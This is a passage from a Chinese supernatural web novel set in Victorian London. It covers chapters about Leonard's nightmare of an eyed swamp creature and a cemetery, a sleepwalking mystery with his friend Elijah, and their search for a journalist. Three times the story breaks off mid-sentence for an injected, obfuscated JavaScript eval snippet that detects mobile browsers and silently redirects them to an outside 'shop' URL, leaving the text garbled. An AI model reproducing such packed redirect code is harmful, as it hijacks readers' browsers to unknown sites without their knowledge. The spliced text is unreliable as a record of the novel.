抱着这个念头,莱纳德坐在以利亚的床上,瞪着他乱丢在桌子上的工具和零件,麻省理工的学位显然无助于帮他判断那些东西完成组装后的功能和用途。 莱纳德沮丧地把头发拨乱,以利亚并不是个醉心科学实验和工程设计的人,尽管那颗脑袋里装满了各种惊人的知识,穹顶那帮科学家见了他多半还会脱帽致意,但这表象之下,以利亚其实只是个拥有过人智慧的孩子,换成其他人搞不好随随便便就能改变世界,他却只想着玩。 他衷心希望自己不是游戏之一。 楼下的时钟敲过三点时,莱纳德终于在床上躺下,他告诉自己千万不能睡着,可眼皮却像是黏在蛛网上的飞蛾翅膀,再挣扎也是徒劳,就闭一会儿眼睛,他心想,等以利亚回来肯定会叫醒他的。 等莱纳德再次醒来时,他已经坐在了桌前,手里握着一支折断的铅笔,而面前则是一份不知从何而来的《每日镜报》,或者说,曾经是。 此刻,登载了泰晤士河浮尸案的新闻版面上写满了铅笔字,屋里没开灯,但字迹并不难辨认,因为是同一句话重复写了几十遍,那些大写字母正冲他疯狂吼叫,看起来触目惊心。 它来了它来了它来了它来了它来了哦上帝啊它来—— 最后一句戛然而止,一定是太使劲折断了铅笔,笔芯从碎裂的木棍里滚出来,了无生气地躺在报纸上,好像一颗迷你子弹头。 像是一瞬间福至心灵,又或是第六感降临,莱纳德瞪大眼睛,向自己的右后方扭过头去,他听到脖子“嘎巴”一响,在寂静中简直刺耳。 但并不是完全的寂静,有雨滴正“噼噼啪啪”地敲打着窗户。 只除了,那并不是雨。 因为雨不会长那么多只眼睛。 61.第四章:镇公墓 莱纳德用力捂住嘴才没有尖叫出声,他死死盯着窗户,此刻,玻璃上已经落满了黑色的痕迹,缓缓流动的粘液里,无数只眼睛正不怀好意地向屋里窥探。 长满眼睛的蛞蝓,如果蛞蝓也能爬上二楼窗户的话。 看不见我,它看不见我,莱纳德在心里告诉自己,但那声音听起来更像是即将崩溃的歇斯底里,因为即便屋里没开灯,也并不是一团漆黑。 他能清清楚楚地看到那些眼睛惨白的眼睑和颤动不休的黢黑瞳仁。 小心翼翼地,莱纳德把屁股从椅子上抬起来,僵硬的膝盖发出一下不堪重负的“嘎吱”声,听起来犹如一声巨响,莱纳德屏住呼吸,浑身立刻绷成了一块铁板,不敢稍动。 好在那些眼睛仍是各看各的,显然动态视力不佳,黑色的淤泥一开始还像是雨点那样落在窗玻璃上,现在已经变成了一片小小的沼泽,把窗户整个覆盖住了,而且还在顺着窗框缝隙缓缓渗进来,仿佛是代表大英女皇陛下税务海关总署来课征窗户税的 。 莱纳德慢慢向门口挪动,谢天谢地,软底的波斯拖鞋在石板地上幸运地没有发出任何动静,尽管不到三十秒后他就又要为没有穿那双靴子而后悔不迭了。 右手终于碰到房门把手,莱纳德精神一振,极小心地扭动把手,一点一点地把门向后拉开,同时眼角余光还不忘盯着窗户,生怕那些眼睛注意到他。 真的没有发出一丝声响,幸运女神一定是格外眷顾于他,莱纳德把门拉开足够一个通过的缝隙,忽然间想起桌上那张报纸,以利亚一定不能看到他在上面写的东西,绝对不行,他不知道自己为什么会有这个想法,可直觉告诉他,只有这样才是对的。 他会告诉以利亚的,但不是以这种方式。 桌子离门不远,莱纳德却仿佛花了一个世纪才走回去,每一步他都觉得那些眼睛看到他了,从窗框里渗进来的淤泥更是已经顺着墙淌到了地板上,正缓缓朝床角漫延过去。 手指终于碰到了报纸,莱纳德两只手都伸了过去,生怕抬起报纸时发出声响,他抻住纸张两边,幸好报纸足够新,顺从稳当地被他端了起来。 一步,两步,三步。 莱纳德退到了门边,狭窄的门缝眼下似乎成了个问题,鉴于他两手端着报纸,横向距离比刚才要大了不少,不过好在也不是没法解决,莱纳德慢慢把两手向中间合拢,只要他足够小心,就能把报纸对折起来。 忽然,“叮”的一声轻响,有什么东西从报纸间滚了出去,跌到了石板地上。 是折断的铅笔芯,那个不足一厘米长的小玩意落在地上,像个迷你手雷似的,咕噜噜朝床角滚了过去。 恰巧滚到了淤泥里,“咕嘟”,黑泥冒起一个气泡,把笔芯吞了进去。 莱纳德嘴里不自觉发出“嘶嘶”的吸气声,很轻,但听在自己耳朵里却犹如惊雷,他慢慢抬头,把目光从床角淤泥转向窗边,在那一瞬间,他头脑里逼真地闪过一幅画面,窗户外面除了烦人的夜雨什么都没有,等他再一低头,就会发现地板也是干净的,这一切都是他大惊小怪,自己吓唬自己。 然后他抬起头,窗户外,所有的眼睛都在看他,一眨不眨。 莱纳德夺门而出,他很高兴自己忍住了惊叫,但伴随着卧室窗户被撞碎的巨响,他怀疑用不了几分钟洛克伍德太太就要举着蜡烛来兴师问罪了。 不过眼下房东太太只能占据莱纳德百分之一的注意力,他只有一个完整的念头,在脑子里听起来简直震耳欲聋—— 快逃! 莱纳德全速冲向楼梯,因为扑得太猛撞到了扶手上,他顾不上觉得疼痛,三步并作一步,顺着台阶跳了下去,最后一步差点把拖鞋甩飞出去,他右脚重重落在大厅地板上,一阵钝痛从脚后跟直蹿上膝盖,差点跪倒,他右手紧跟着在地上一撑,左脚跟上,借着前冲的惯性朝大门狂奔过去。 身后,粘稠液体冒泡、流动的声音简直无法描述,不用回头莱纳德也知道,那被诅咒的东西追上来了,不管它是什么。 大门没有上锁,莱纳德整个人撞在门上,下一秒就发现自己站在了马路中央,他来不及辨明方向,喘了口气便狂奔起来,四周雾气涌动,就算想辨认方向恐怕也做不到,地上的积水把拖鞋浸得湿透,但还顽强地挂在他脚跟上,在石板地上踩出“呱唧呱唧”的声响。 那东西还跟在后边,紧追不舍。 带着湿气的风从莱纳德耳边呼啸而过,空气中有种说不出的臭气,不管伦敦的地下水道工程如何被称为工业世界第七大奇迹,此时此刻都还只是个急需变现的设想,那些肮脏的东西从270万城市居民的马桶和泔水桶里倾倒进泰晤士河,然后附着在雾气里,黏在人们的皮肤和发丝上,挥之不去。 当然,这些都是莱纳德后来才注意到的,全力奔跑让他的肺和喉咙着了火似的又烧又痛,白天看起来还算眼熟的街道这会儿全变了样,他不记得自己拐过弯,但街边的建筑陌生得仿佛他从来没有见过。 只有雨还在不停下。 一道铁栅栏门忽然在白雾中显现,门后是更浓厚的雾气,使这道门看起来格外突兀,仿佛它不知怎地变成了白雾的一部分肢体似的,栏杆上的防盗铁尖像一排锋利的牙齿,而它的主人正在对天嚎叫。 莱纳德在栅栏门前停下,他看到门上挂着“镇公墓”的金属牌子,剥落的红漆在经年累月的雨雪冲刷下已经变得发黑,很奇怪的,他居然觉得那牌子很眼熟,连锈蚀的形状都是,而老天爷在上,不管是几世纪,他可从没来过伦敦镇公墓。 大门上的铁锁显然没法用手掰开,就在莱纳德仰头估摸自己能不能从栅栏上翻过去而不被铁尖扎穿大腿的时候,“格朗”一声,铁锁竟然断开了,铁锈像饼干屑似的簌簌掉落。 莱纳德低下头,不可思议地瞪着挂在栅栏扣上摇摇晃晃的锁头,没有断口,而是锁簧自己弹起来了,他伸出手去握住铁锁,有一瞬间,他以为那东西会在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518165|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己手里活过来,咬他一口之类的,但是没有,锁子仍是锁子,他把锁簧件从挂扣上取下来,推开了栅栏门。 雾气仍然很重,比起密歇根来,伦敦的冬天堪称温和,但这个地方却冷得像是冰窖。 莱纳德嘴边能吐出白色水汽,眨眼就跟雾融为一体。他沿着石板小径走下去,路两边的野草茂盛,绿得跟眼下的季节和温度极不相称。 波斯拖鞋不知道在哪条街上被甩飞了,莱纳德赤脚踩在石板上,细小的石子和沙粒硌着脚心,还有积水,凉意刺骨现在可不只是说说而已,他都能说出来脚上每一根骨头的形状,而且那些骨头仿佛都变成了冰锥,随时有可能从脚掌里戳出来。 墓地里面也眼熟得很,莱纳德不是个迷信的人,但也绝没有逛墓地的习惯。 莱纳德的目光瞟过两侧的墓碑,不管这是哪儿,它都已经年久失修,墓碑上的字磨损得厉害,连一个字母都看不清楚,长眠于此的可怜人们想必也都很久无人探望了,从那些疯长的蒿草就能看出来。 他忽然停住脚步,目光落在三排之外的一块墓碑上,没人会错过这块石碑,因为只有它上面的字是烫金的,幸运地逃过了磨损的厄运,在夜色中闪闪发光。 那些金色的字母和数字映入莱纳德的眼帘,按照顺序排列组合,但他却说什么也拼不出来,好像大脑里掌管语言的那部分忽然决定要伸个懒腰似的。 莱纳德瞪大眼睛,无助地想,究竟是谁长眠于此? 等回过神来的时候,他已经踩着草地走到了墓碑前,冰凉细软的草茎和小碎石弄得他脚又痒又疼,几股流动的黑色淤泥从后面缓缓流淌过来,但他后来才注意到。 此刻,莱纳德眼睛里只有那块墓碑。 墓碑很旧,即便是烫金刻字也称不上完好无损了,石碑右上角破损了一块,断面锋利嶙峋,好像有人在不久之前用锤子朝这里狠狠地砸过一下。 莱纳德用手抚摸过那个缺角,然后顺着粗糙的石壁向下,滑过那些字母,一个接一个,然后是生卒年月,那些数字同样让人摸不着头脑,难道伦敦人习惯把出生年月放到后面? 他终于拼出了那个名字,可这并没有让他感到轻松,反而涌起一股无法言说的恐惧。 莱纳德茫然环顾四周,那些磨损墓碑上的字母扭动着,仿佛正在慢慢活过来,他眨眨眼睛,读懂了那些名字,或者说,都是同一个名字。 这数不清的墓碑下,埋葬的竟是同一个人。 莱纳德惶然地心想,这一定是个噩梦。 一阵蛇吐信似的“嘶嘶”声出其不意地在耳边响起,冰凉的臭气喷在他的侧脸上,距离出乎意料地近。 莱纳德忽然发现,自己的两只脚已经完全浸在了黑色淤泥里。 他一寸一寸的偏过头,僵硬的颈骨嘎巴作响,终于,眼角余光瞥到一张黑漆漆的嘴巴,那两片嘴唇一开一合,发出一声低沉阴郁的哀叫。 “莱纳德,是我啊。” 62.第五章:梦醒 莱纳德像个刚把头伸出水面的溺水者那样吃力地喘着气,有足足几秒钟,他眼前全是打着转的白雾,耳边嗡嗡直响,心跳又快又乱,活像只掉进缝纫机里的兔子,他相当确信,自己刚才晕过去了。 可在看到眼前的天花板后,这个想法又动摇了。 这是哪儿?他不是在镇公墓里吗? 莱纳德坐起来,发现自己刚才躺在床上,房间里的摆设很熟悉,是以利亚的卧室没错,天还黑着,雨点“噼里啪啦”地砸着窗户,那场该死的雨一直就没停过。 原来是个梦,莱纳德瞪大眼睛,用力揉搓着脸倒回床上,吁了口长气,谢天谢地,原来是个梦,只是个该死的、被诅咒的噩梦。 他静静地在床上躺了一阵,心怀感激地感受着现实,以利亚还没回来,看样子有可能整晚都不会回来了。 换成几个小时前,他可能会因为这个讨厌鬼而生气,但现在,莱纳德只感到一阵劫后余生似的轻松,好像他真的连夜从沼泽怪物的追杀下成功逃跑了似的。 想想他梦里狂奔的架势,那两条腿没从屁股上直接飞出去还真是个奇迹。 莱纳德摆动双腿跳下床,光脚踩在地板上,愣了愣,没有继续下一个动作。 浅色睡袍的下摆沾满了泥巴,两只脚也是。 莱纳德咽了口唾沫,喉咙立刻一阵剧痛,好像有人掰开他的嘴往里面硬塞了辆玩具汽车,波斯拖鞋不见了,地板上有几个凌乱泥巴脚印,从门口一路延伸到床边。 他回头看向自己刚刚躺过的床,床单靠近床角的位置同样被黑色泥巴搞得一团糟。 好吧,好吧。 莱纳德坐回床上,以免自己直接一屁股坐倒,他使劲扯着自己的头发,想把理智扯回来,当然了,他完全有可能半夜起床去沼泽地里梦游了一圈。 这里根本没有该死的沼泽地,别自欺欺人了,傻瓜。 睡袍口袋里有东西鼓鼓囊囊地凸了出来,莱纳德把那东西掏出来,是一团揉皱的报纸,展开后,无数个“它来了”警告映入眼帘,冲击力丝毫不亚于上次,他几乎能从上面闻到绝望和疯狂的味道。 但好像还多出了点什么。 莱纳德把报纸褶皱的地方抚平,靠近角落的地方,黑色污泥拼出几个歪歪扭扭的字母来—— 别走。 离天亮还有好几个小时,莱纳德却清醒得像块拧紧发条的钟表,他看着床单和地板上的一片狼藉,有条理地转着念头,就算以利亚整晚不回来,等到早上苏珊娜也会进来整理床铺,不管她是看到那些黑泥巴和草根,还是看到他本人,都势必再也说不清楚。 瞧啊,这满床的肮脏黑料——字面意义加上比喻意义——从埃塞克斯郡来的那对商人果然有猫腻。 但眼下来一场大扫除肯定来不及了,莱纳德飞快地把床单扯下来,抓住床尾的部分揉搓了一阵,干掉的泥巴簌簌掉落,他用力抚平褶皱,然后把床单翻了个面铺回床上,用枕头压住脏污,尽管离整洁还差至少十八条街,但至少一眼看过去不会露馅。 至于地板,莱纳德看看自己脏兮兮的睡袍,反正也没法再穿了,他索性把睡袍脱下来充当抹布,趴到地上闷头擦了起来。 以利亚就是在这时推门进来的。 “老天爷,莱尼,你在干嘛?”以利亚吓了一跳,脸上的表情介于忍笑和惊讶之间,不管谁看到自己黑灯瞎火的卧室里有个人光着上身撅起屁股擦地板大概都会是这副表情,但他很快严肃起来,拧起眉头,“出什么事了?” 莱纳德捏着揉成一团的睡袍,呆了几秒,回答:“呃,说来话长。” 以利亚拉着莱纳德的胳膊把他从地上拽起来,把他从头到脚打量了一遍,目光在他锁骨上多停留了一秒,然后盯着他的脚:“你没穿鞋去跑了个马拉松?” “梦游。”莱纳德听起来底气不足,他不确定那是不是梦,该死,没人梦游的时候能跑那么快、跑那么远。 以利亚瞟了眼地板上没擦干净的脚印,又看了看跟被泥耗子打过滚似的床单:“你从你床上梦游去了马什港沼泽地,然后回到了我屋里,在我的床上做了一套瑜伽操?” 老实说,那也不是没有可能,莱纳德无奈地看着以利亚,朝后一屁股坐在床上,叹了口气:“你是打算继续问混蛋问题,还是要听我讲?” 以利亚在他旁边坐下来:“好吧,我洗耳恭听。” 于是,莱纳德从《西部新闻晨报》的记者博伦特开始讲起,还有《每日镜报》上登载的泰晤士河浮尸案,一直讲到爬上卧室窗户的沼泽怪,以及那个古怪的镇公墓,只把报纸上的奇怪字迹和墓碑上的名字被他隐去不提,倒不是他想骗以利亚,而是讲出那个精神错乱的梦境实在已经花光了他的勇气。 以利亚听完问:“镇公墓?你确定门牌上写的是这几个字?” 莱纳德不耐烦地嗤了一声:“怎么,有哪个词能跟这三个字认混吗?” “我没别的意思。”以利亚叹气,“但伦敦公墓群里没有一个能跟你的描述对得上号,而离我们公寓最近的圣玛丽公墓,就算你穿着跑鞋也至少得跑半小时才能到。” “我说了……” “我知道,我知道,莱尼,”以利亚歪过身子用肩膀撞了他一下,故作轻松地笑笑,“只不过是又一个时空旅行附赠的狗屎惊喜,相信我,旅行久了总会遇到。” “银河系漫游指南第一条,带好毛巾,以免狗屎撞上风扇。”莱纳德忍不住笑起来。 他忽然想到,以利亚大概没看过《银河系漫游指南》,但以利亚也笑了,两个人好像忽然变成了躲在卧室里分享秘密的八岁男孩,为了某个谁也说不清却又心照不宣的理由,笑得好像一对二百五。 不过后来,莱纳德认为,那时候,他们两人的笑声里多少都有点恐惧的意味在。 等笑够了,以利亚才继续问道:“你刚才说那记者叫大卫·博伦特?他长什么样子?” 莱纳德回忆了一下,说:“深色头发和眼睛,鼻梁很高,哦对了,他左眼角有颗痣。”他皱起眉,“如果你是想问跟你那张画像里的人不太一样。” “不是他,别担心,你碰到的那家伙应该不是坏人。”以利亚拍拍莱纳德的胳膊,又问,“那幅画你拿着吗?那位可敬的记者朋友画的泰晤士河蛞蝓怪的抽象画。” “那么瘆人的玩意我怎么可能拿着?” 说完,莱纳德忽然心念一动,想到了离开俱乐部前博伦特硬塞给他的那张纸片,他匆匆站起来,往自己的卧室跑去,“等一下,我有个东西要给你看。” 以利亚跟在他后面跑出去,一边嘀咕:“喂,我说,你好歹把衣服穿上啊。” 莱纳德从外套口袋里掏出纸片展开,递给以利亚,然后从衣架上随手捞了件毛衣开始往身上套,闷闷的声音从衣领里钻出来:“博伦特把他的地址给我了,还说让我给他拍电报。” 可他连邮局的门朝哪儿开都不知道,看在上帝的份上,他都不确定拍电报是不是该去邮局。 以利亚细细地看了一遍地址,然后把纸片折起来,塞进自己的口袋里:“也许是个不错的主意,我们还挺需要记者的观察力和想象力的,等天一亮,我们就去找他。” “你不觉得奇怪吗?”莱纳德把脑袋从衣领里钻出来,目光闪烁,“博伦特说他在河岸见过咱们。” 忽然,博伦特那副自信并且深信不疑的神情出现在脑海,接下来,就像世上最糟糕的既视感出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529170|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在眼前,莱纳德几乎能预判到以利亚嘴唇的每一次开合、发出的每一个音节,他说的是:“不错啊,隔着雾都能认出咱俩,希望他看怪物也一样眼尖。” 莱纳德张开嘴,却没发出任何声音,脑子里有一个奇怪的声音在说“看吧,早告诉你了”,多么讽刺的语调。 他看到以利亚的灰眼睛里流露出讶异的神色,然后听到自己的声音发问:“我跟你一起去过河岸?” 以利亚一愣:“你在开玩笑吗?除了今天晚上,这几晚我们明明一直在一起。” “……” 一定是那瞬间莱纳德脸上的表情太可怕,以利亚下意识伸出手扶住他,让他在床边坐下来。 他大概以为莱纳德心脏病或者癫痫发作了,只是屋里没有威士忌或者白兰地,以利亚只好倒了杯凉水灌进他嘴里。 “怎么了?” “我这几晚都跟你在一起?晚上?”整杯冷水灌进喉咙,总算让莱纳德找回了自己的声音,他瞪着以利亚,似乎急不可耐,但内心深处,他知道问这个问题没有意义,因为他知道答案,早就知道了。 以利亚拧起眉头,反问:“你不记得了?” “没发生过的事我怎么……”莱纳德刚摇了一下头,以利亚忽然揪住他的衣领用力往下一扯,露出锁骨那一片皮肤,但上面干干净净的别说骷髅头,连颗痣都没有。 以利亚板起脸,只有很熟悉的人才能看出那一丝掩饰得很好的大事不妙的神情。 “你干什么?”莱纳德用了好大力气才掰开以利亚的手指,把衣领解救出来,他忍不住看了看自己的锁骨,同样一无所获,只好抬起头,惊疑不定地瞪着以利亚,问,“怎么回事?你是不是有什么事情没有告诉我?” 邪恶双胞胎这个词一闪而过,但听起来实在太过荒唐。 以利亚灰色虹膜里的一点瞳孔似乎变得更黑、更加深邃,他开口了,语气几乎称得上冷酷:“是。” 莱纳德等了等,没有等到下文:“是?然后呢?你就准备给我一个‘是’就算完事了?” 以利亚抱起胳膊,跟个卡壳的答录机似的:“是。” 没有否认,没有借口,但也没有真相,莱纳德不知道这算坦诚还是矫饰,胸口忽然窜起来的愤怒让他无法思考。 “莱尼,我们得……”以利亚魂不守舍地伸出手,却没抓到莱纳德的衣袖。 “搞什么!”莱纳德霍地站起来,脑袋差点撞到以利亚下巴上,他退开半步,“以利亚,不管是什么事,告诉我,我们一起解决。” “不行。”以利亚的喉结滚动一下,左边眼角的肌肉不受控制地抽搐着,他忽然感到一股歇斯底里的笑意,用力咬紧牙关,才克制住差点涌出喉咙的笑声。 莱纳德显然误会了他脸上的表情,怒道:“我还以为我们是朋友!” “我们当然是朋友。”以利亚干巴巴地说。 “朋友不会满嘴谎言!” “有时候,谎言才能保护我们。” “不,朋友保护朋友。”莱纳德咬牙,不去想那张写满箴言的报纸此刻仍揉成团躺在口袋里,而几分钟前,他还在用同样的理由说服自己向以利亚隐瞒这件事。 到底是哪个蠢货说的“无知是福”?不管是谁,都让他见鬼去吧,莱纳德恼怒地想,今天他必须知道真相。 就是在这时,莱纳德瞟到了以利亚垂在身侧的手臂,他一伸手,握住了对方的手腕。 没有错,以利亚的身体一直在微微发抖,就好像某种无形的恐惧之手用力攫住了他似的,他嘴角的弧度也并不是笑意,而是恐惧。 他在害怕什么? 窗外,雨还在下,莱纳德忽然觉得卧室里冷得要命。 63.第六章:冒险者之家 莱纳德最后保持了沉默,以利亚看上去松了口气,他嘟囔了几句,大意是他会在晚上看好莱纳德,保证梦游事件绝不会再发生。 谢了,兄弟,莱纳德无言地心想,但谎言并不能保护谁一辈子,有些事情只能靠自己。 关于这一点,莱纳德没错,两个人下一次讨论这个话题是在十七个月之后,而到那时,很多事情都已经彻底改变。 此时此刻,天刚蒙蒙亮,以利亚回到了自己的卧室,莱纳德一个人坐在床上,大概是因为缺觉,后脑勺上有根筋突突直跳,跳得他心烦意乱、头痛不已。 但他不想睡觉,看在上帝的份上,莱纳德沮丧地想,他大概会有很长一段时间都不想再睡觉了。 莱纳德从口袋里掏出那张饱经摧残的报纸,借着熹微的晨光细细打量,毫无疑问,“它来了”的字迹是他自己写的,而“别走”则属于另一个人,或是怪物。 不管他出了什么毛病,是脑子里的螺丝松了,还是被邪灵附体,这张报纸都很能说明问题。 第一,前几个晚上,有什么东西假冒成他——或者控制了他的身体,很难说哪种更让人毛骨悚然——并且成功骗过了以利亚。 第二,泰晤士河里有某种邪恶的东西盯上他了。 第三,那些墓碑是真实存在的。 吃完早饭,按照计划,两个人一起出门去找大卫·博伦特。 以利亚提了个小巧的手提箱,看起来不重,但他还是抱怨了几句双肩背包普及得太晚,而不管他们是在几世纪,背个牧羊人的牛皮口袋显然都太过头了。 两人在巴姆街下车,街道两边的建筑不算高,也不算密集,但天阴沉沉的没有阳光,路面上积水未干,跟东一堆西一堆的垃圾交相辉映,使他们的目的地看起来更加逼仄破败。 “我们的记者朋友住得地方不太气派啊。” 以利亚的说法算是相当保守,这条街跟他们住的奥尔巴尼街简直是两个世界,剥落的墙体和封死的窗户上覆盖着墨绿色的脏污。一群流浪猫占领了街角的垃圾桶,空气里弥漫着一股怪味,让人时刻都会产生捏紧鼻子的冲动。 莱纳德抬脚看了看自己的鞋底,很显然,伦敦缠绵的冬雨也洗不干净路面上的陈年污渍。 “就是这了。”以利亚找到了博伦特的门牌号,敲响大门。 莱纳德站在他身后,看到门牌号的旁边还挂着一块牌子,用花体字写着“冒险者之家”。 应门的是一位身材矮小、干瘦枯黄的女人,头上包着一块大概十多年前就已经洗掉色的方巾,她警惕地扫了眼门外的访客,问:“你们两位绅士来这里找谁?” “日安,我亲爱的女士,请问大卫·博伦特先生在家吗?”以利亚亲切地问,表情温柔得简直能融化坚冰,但瘦小的房东太太却显然没有被打动,她干脆地丢下一句:“这里没有你要找的人。”就要把门关上。 以利亚连忙把门拉住,在对方大惊失色地喊起来之前,安抚地说道:“请别担心,女士,我们只是想留个口信罢了,说完立刻就走,我保证。” “我说了,你们找的人不……” 以利亚打断她:“那可以麻烦你给查尔斯留个口信吗?就说我们晚上七点在老地方等他。” “原来你们是查尔斯的朋友?怎么不早说?你们二位怎么称呼?”听到查尔斯这个名字,房东太太明显犹豫了,她的目光在以利亚和莱纳德之间来回打转,似乎在揣摩这两个人的身份地位,好给出合适的反应,以利亚又把一张纸条飞快地塞到她手里,说道:“把这个给他看,他就会明白了。” 等到房东太太那张山羊似的脸消失在门后,莱纳德立刻拽过以利亚问道:“谁是查尔斯?” “当然是我们的记者朋友,还能有谁?”以利亚耸耸肩。 “大卫·博伦特是假名?”莱纳德撇撇嘴,怪不得那家伙没给他名片。 “记者起个笔名也很正常。”以利亚说,“但像他这么具有不怕死的冒险家精神的记者,我还是头一次见。” “他的真名是查尔斯?你怎么知道的?” “猜的。” “别扯淡!” “我说真的,你没看见信箱上的名字吗?” “你这个机灵鬼。”莱纳德嘀咕了几句表示不满,他迫不及待地跟以利亚走出这条街,拐上圣巴塞洛缪大道,问:“我们接下来去哪儿?老地方是哪儿?” 以利亚先回答了第二个问题:“泰晤士河岸,我们等入夜后再去不迟,现在嘛,先找个地方喝酒?” “喂,没跟你开玩笑。”莱纳德用胳膊肘捅了以利亚一下,“泰晤士河里不知道藏着什么怪物呢,咱们还连个像样的计划都没有,以利亚,再这么吊儿郎当的,咱们就只能在怪物肚子里制定行动方案了。” “好吧,好吧。”以利亚退让道,“那我们去哪儿商量?” 最后两个人决定去咖啡馆。 两人选中了霍尔本街上有一家叫做“黑熊咖啡”的餐厅,服务员是个叫利奥的精力充沛的小伙子,殷勤地送来咖啡茶点,和一瓶味美思甜酒。 “先生们,如果容我推荐,今天的鸡和鸽子都是我见过最鲜嫩的,搭配上水嫩多汁的龙须菜是本店一绝。”利奥露出讨好的笑容,他认得以利亚,知道对方付小费时出手大方,于是打起十二分精神来招呼两人。 以利亚低头看着菜单:“唔,鸽子看起来的确不错,还有什么推荐吗?” 利奥立刻回答:“听说后厨刚进了一批青鱼,不必说,每一条都活蹦乱跳,又肥又大。” 以利亚和莱纳德对视一眼,同时摇了摇头:“河鲜还是算了吧。” 考虑到伦敦城区里不同寻常的水污染,贝壳和鱼子酱最好也别碰为妙。 “先生们,”利奥把右臂的餐巾放到左臂上,泰然自若地说道,“你们该不会是听了小报上的胡乱猜测,以为泰晤士河里的鱼都长了三个脑袋吧?” “这是什么说法?展开讲讲。” “要我说,那条河够臭的,虽然没有夏天那么惹人心烦,但也绝对没人会从河里钓鱼吃,至于本店的鱼,可都是一大早从普利茅斯直接运过来的,先生们,信我没错。” 以利亚向利奥保证他们对餐厅的食材质量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544167|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和新鲜程度毫无怀疑,又追问:“但有人在泰晤士河里见过三个脑袋的鱼?” 利奥撅起嘴,像个合格的伦敦人那样,语气一本正经得让你听不出来他是不是在开玩笑:“也许,听说最近有不少人淹死在河里,没准他们是被三个脑袋的鱼吃了,或者像童话故事里讲的那样,被河里住的塞壬勾了魂去。” “塞壬?” “你知道的,先生,那个用歌声迷惑水手的海妖。” “那么美丽的女士大概不会住在漂着垃圾的河里吧。”以利亚的语气听起来也很认真,莱纳德忍不住“嗤”的笑了一声。 “也许吧。”利奥回答,他忽然看起来有些心不在焉,催促道,“先生们想好要点什么菜了吗?” 以利亚和莱纳德各自点了烤乳鸽和牛排,又特地嘱咐主菜不必着急上,让利奥别过来打扰。 这个时间餐厅里人不算多,露天阳台的白色柳条椅上坐着几个吃过早饭的绅士,喝酒闲谈消磨时间,看起来舒适悠闲。 但空气中仍然弥漫着一种微妙的紧张感,仿佛有事情即将发生,却无法阻止,就像重力,或是暴风雨。 莱纳德拨弄着碟子里的司康,洛克伍德公寓的寡妇看到那样子肯定要大皱眉头,他问以利亚:“你什么时候开始调查泰晤士河的?” 以利亚挑眉:“让我想想……我们来的第二晚?” “哼,我就知道。”莱纳德用刀叉把面前的司康分尸,然后挤了一坨果酱上去,搞得场面十分血腥,嘟囔道,“什么看画找人,什么安全屋,都是幌子,你就是冲河里的三头鱼来的。” 以利亚无奈:“我没有,保证。” 他喝了一大口酒,气势很有当酒鬼的潜质,“但河里有怪物,我能怎么办,找一群环保主义者上街游行,呼吁叫停所有排污工厂吗?” “或者把泰晤士河的河神召唤出来,请他去汤屋洗个痛快澡。”莱纳德喃喃说道,他也开始喝酒,比起以利亚,他更像是急于灌醉自己,并且卓有成效。 过了一会儿,以利亚又说:“我原本打算找的那个人是个巫师,那幅画像你还记得吗?” “英格兰的孟雅特巫师团给叛变的巫师做了画像集锦,好让同行能够及时认出坏家伙们模样,可惜,始终没人真的找到这个狡猾的混蛋。” “有迹象表明,他可能在伦敦住过一段时间。有那家伙在,老实说,泰晤士河里什么东西我都不会觉得奇怪。” “叛逃巫师?”莱纳德的记忆忽然一动,心脏仿佛在胸腔里做了个撑杆跳,差点就从嗓子眼里蹦出去,他定了定神,“泰晤士河里的东西跟黑魔法有关?” “很有可能。” 莱纳德深呼吸,又深呼吸了一次:“以利亚,你有没有想过?那个叛逃巫师很可能已经发觉你是冲他来的,泰晤士河里的怪物只是为了分散你的注意力,或者干脆让你彻底消失。” “我想过。”以利亚诚实地说,灰眼睛一眨不眨,“而且我的确这么希望来着。” 莱纳德叹气:“你可真是个疯子。” “谢了,这也是我的希望之一。” 64.第七章:查尔斯·狄更斯 天色开始转暗时,才不过下午四点。 等到七点,浓重的雾气已经占据了城市的各个角落,连夜幕都染上了一层昏暗的乳白色。 以利亚和莱纳德刚穿过奥德费尔路口,就看到大卫·博伦特如约站在泰晤士河边的一盏路灯下,他头戴圆帽,右手撑着一根铝箔镶头的绅士手杖,敞开的大衣里露出磨得发旧的西装马甲和衬衫。 莱纳德轻轻吹了声口哨,正要出声招呼,以利亚忽然一把捂住了他的嘴,把他往旁边的巷子里拖去。 “嘘——”以利亚用气音在莱纳德耳边说,“不对劲。” 莱纳德瞪大眼睛,点了点头,以利亚松开手,示意他躲在墙后,两个人小心翼翼地探出眼睛,看向路灯下,博伦特仍然站在那儿,垂着头,手杖时不时轻敲脚下的路面。 